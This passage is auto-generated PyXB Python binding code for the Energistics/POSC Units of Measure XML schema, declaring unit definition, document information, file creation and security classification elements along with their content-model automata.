__Name = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Name'), 'Name', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 197, 4), )
Name = property(__Name.value, __Name.set, None, '\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ')
# Element {http://www.posc.org/schemas}QuantityType uses Python identifier QuantityType
__QuantityType = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), 'QuantityType', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasQuantityType', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4), )
QuantityType = property(__QuantityType.value, __QuantityType.set, None, '\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ')
# Element {http://www.posc.org/schemas}CatalogName uses Python identifier CatalogName
__CatalogName = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), 'CatalogName', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasCatalogName', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4), )
CatalogName = property(__CatalogName.value, __CatalogName.set, None, '\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ')
# Element {http://www.posc.org/schemas}CatalogSymbol uses Python identifier CatalogSymbol
__CatalogSymbol = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), 'CatalogSymbol', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasCatalogSymbol', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4), )
CatalogSymbol = property(__CatalogSymbol.value, __CatalogSymbol.set, None, '\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ')
# Element {http://www.posc.org/schemas}Display uses Python identifier Display
__Display = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'Display'), 'Display', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasDisplay', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4), )
Display = property(__Display.value, __Display.set, None, '\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ')
# Element {http://www.posc.org/schemas}BaseUnit uses Python identifier BaseUnit
__BaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), 'BaseUnit', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 262, 6), )
BaseUnit = property(__BaseUnit.value, __BaseUnit.set, None, None)
# Element {http://www.posc.org/schemas}IsUnknown uses Python identifier IsUnknown
__IsUnknown = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'IsUnknown'), 'IsUnknown', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasIsUnknown', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8), )
IsUnknown = property(__IsUnknown.value, __IsUnknown.set, None, None)
# Element {http://www.posc.org/schemas}ConversionToBaseUnit uses Python identifier ConversionToBaseUnit
__ConversionToBaseUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), 'ConversionToBaseUnit', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasConversionToBaseUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8), )
ConversionToBaseUnit = property(__ConversionToBaseUnit.value, __ConversionToBaseUnit.set, None, None)
# Element {http://www.posc.org/schemas}CompositeUnit uses Python identifier CompositeUnit
__CompositeUnit = pyxb.binding.content.ElementDeclaration(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), 'CompositeUnit', '__httpwww_posc_orgschemas_unitDefinitionType_httpwww_posc_orgschemasCompositeUnit', False, pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4), )
CompositeUnit = property(__CompositeUnit.value, __CompositeUnit.set, None, None)
# Attribute id uses Python identifier id
__id = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'id'), 'id', '__httpwww_posc_orgschemas_unitDefinitionType_id', _module_typeBindings.keyid, required=True)
__id._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 270, 2)
__id._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 270, 2)
id = property(__id.value, __id.set, None, '\nThis is a key for referencing the unit in the dictionary. The id value \nshould be unique within the dictionary document. The value should carry \nno semantic meaning. However, it is common to use a simple unit symbol for \nthe id. Because of the requirements of DTD\'s, it was necessary to separate \nout the id, which was originally of type ID. The DTD ID type did not allow \nslashes "/" or spaces or astericks (*).\n ')
# Attribute annotation uses Python identifier annotation
__annotation = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'annotation'), 'annotation', '__httpwww_posc_orgschemas_unitDefinitionType_annotation', pyxb.binding.datatypes.string)
__annotation._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 282, 2)
__annotation._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 282, 2)
annotation = property(__annotation.value, __annotation.set, None, '\nFor backward compatibility, the id value was selected to be a value of type \nID. Hence, a value, such as ft/s, could not be used for the ID value. The \nannotation attribute was introduced as a schema attribute that could allow \nthe "/". Hence, ft/s is possible. This is intended to be a simple annotation,\n based on the 7 bit ascii character set. A more complex display symbol can \nbe built using the Display element.\n ')
# Attribute modver uses Python identifier modver
__modver = pyxb.binding.content.AttributeUse(pyxb.namespace.ExpandedName(None, 'modver'), 'modver', '__httpwww_posc_orgschemas_unitDefinitionType_modver', pyxb.binding.datatypes.string, fixed=True, unicode_default='1.0')
__modver._DeclarationLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 294, 2)
__modver._UseLocation = pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 294, 2)
modver = property(__modver.value, __modver.set, None, None)
_ElementMap.update({
__Name.name() : __Name,
__QuantityType.name() : __QuantityType,
__CatalogName.name() : __CatalogName,
__CatalogSymbol.name() : __CatalogSymbol,
__Display.name() : __Display,
__BaseUnit.name() : __BaseUnit,
__IsUnknown.name() : __IsUnknown,
__ConversionToBaseUnit.name() : __ConversionToBaseUnit,
__CompositeUnit.name() : __CompositeUnit
})
_AttributeMap.update({
__id.name() : __id,
__annotation.name() : __annotation,
__modver.name() : __modver
})
_module_typeBindings.unitDefinitionType = unitDefinitionType
Namespace.addCategoryObject('typeBinding', 'unitDefinitionType', unitDefinitionType)
DocumentInformation = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentInformation'), documentInfoType, documentation='\nA standard name for an element of type documentInfoType. Other names may be \nused at the discretion of the developer.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 24, 0))
Namespace.addCategoryObject('elementBinding', DocumentInformation.name().localName(), DocumentInformation)
DocClasses = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, '_DocClasses'), abstractFeatureType, abstract=pyxb.binding.datatypes.boolean(1), documentation='\nAn abstract element, to serve as a head for a substitution group. The \n_DocClasses is intended to handle any classification systems that a group\nwould model. It may be a simple substitution, or a container with many\nclasses contained in it.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 35, 0))
Namespace.addCategoryObject('elementBinding', DocClasses.name().localName(), DocClasses)
UnitOfMeasureDictionary = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'UnitOfMeasureDictionary'), CTD_ANON, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 24, 0))
Namespace.addCategoryObject('elementBinding', UnitOfMeasureDictionary.name().localName(), UnitOfMeasureDictionary)
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, '_DocClasses'), abstractFeatureType, abstract=pyxb.binding.datatypes.boolean(1), scope=documentInfoType, documentation='\nAn abstract element, to serve as a head for a substitution group. The \n_DocClasses is intended to handle any classification systems that a group\nwould model. It may be a simple substitution, or a container with many\nclasses contained in it.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 35, 0)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentName'), identifierType, scope=documentInfoType, documentation='\nAn identifier for the document. This is intended to be unique within the \ncontext of the NamingSystem.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 56, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentAlias'), identifierType, scope=documentInfoType, documentation='\nZero or more alternate names for the document. These names do not need to be\nunique within the naming system.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DocumentDate'), pyxb.binding.datatypes.date, scope=documentInfoType, documentation='\nThe date of the creation of the document. This is not the same as the date\nthat the file was created. For this date, the document is considered to be\nthe set of information associated with this document information.\nFor example, the document may be a seismic binset. This represents the date\nthat the binset was created. The FileCreation information would capture the\ndate that the XML file was created to send or exchange the binset.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'FileCreationInformation'), fileCrType, scope=documentInfoType, documentation='\nThe information about the creation of the exchange file. This is not about\nthe creation of the data within the file, but the creation of the file itself.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'SecurityInformation'), securityInfoType, scope=documentInfoType, documentation='\nInformation about the security to be applied to this file. More than one\nclassification can be given.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Disclaimer'), pyxb.binding.datatypes.string, scope=documentInfoType, documentation='\nA free-form string that allows a disclaimer to accompany the information.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'AuditTrail'), auditType, scope=documentInfoType, documentation='\nA collection of events that can document the history of the data.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerRef'), referenceToType, scope=documentInfoType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 131, 4)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerID'), pyxb.binding.datatypes.string, scope=documentInfoType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 132, 4)))
documentInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=documentInfoType, documentation='\nAn optional comment about the document.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2)))
def _BuildAutomaton ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton
del _BuildAutomaton
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 84, 2))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0, max=5, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 123, 2))
counters.add(cc_7)
cc_8 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2))
counters.add(cc_8)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 56, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentAlias')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 64, 2))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DocumentDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 72, 2))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, '_DocClasses')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 84, 2))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'FileCreationInformation')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 93, 2))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_4)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'SecurityInformation')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 101, 2))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Disclaimer')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 109, 2))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'AuditTrail')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 116, 2))
st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_7)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerRef')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 131, 4))
st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_8)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DataOwnerID')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 132, 4))
st_9 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_8, False))
symbol = pyxb.binding.content.ElementUse(documentInfoType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 134, 2))
st_10 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_10)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
transitions.append(fac.Transition(st_7, [
]))
transitions.append(fac.Transition(st_8, [
]))
transitions.append(fac.Transition(st_9, [
]))
transitions.append(fac.Transition(st_10, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_1, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_2, False) ]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_3, False) ]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, True) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_4, False) ]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, True) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_5, False) ]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, True) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_6, False) ]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, True) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_7, True) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, False) ]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_7, True) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_7, True) ]))
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, False) ]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_8, True) ]))
st_10._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
documentInfoType._Automaton = _BuildAutomaton()
fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'FileCreationDate'), expandedDateTime, scope=fileCrType, documentation='\nThe date and/or time that the file was created.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 153, 2)))
fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'SoftwareName'), pyxb.binding.datatypes.string, scope=fileCrType, documentation='\nIf appropriate, the software that created the file. This is a free form\nstring, and may include whatever information is deemed relevant.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2)))
fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'FileCreator'), pyxb.binding.datatypes.string, scope=fileCrType, documentation='\nThe person or business associate that created the file. This is a free\nform string.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2)))
fileCrType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Comment'), pyxb.binding.datatypes.string, scope=fileCrType, documentation='\nAny comment that would be useful to further explain the creation of this\ninstance document.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2)))
def _BuildAutomaton_ ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_
del _BuildAutomaton_
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2))
counters.add(cc_2)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'FileCreationDate')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 153, 2))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'SoftwareName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 160, 2))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'FileCreator')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 168, 2))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(fileCrType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Comment')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 176, 2))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True) ]))
st_3._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
fileCrType._Automaton = _BuildAutomaton_()
securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Class'), pyxb.binding.datatypes.string, scope=securityInfoType, documentation='\nThe security class in which this document is classified. Examples would \nbe confidential, partner confidential, tight. The meaning of the class is\ndetermined by the System in which it is defined.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 200, 2)))
securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'System'), pyxb.binding.datatypes.string, scope=securityInfoType, documentation='\nThe security classification system. This gives context to the meaning of the\nClass value.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 209, 2)))
securityInfoType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'EndDate'), expandedDateTime, scope=securityInfoType, documentation='\nThe date on which this security class is no longer applicable.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/DocumentInfo.xsd', 217, 2)))
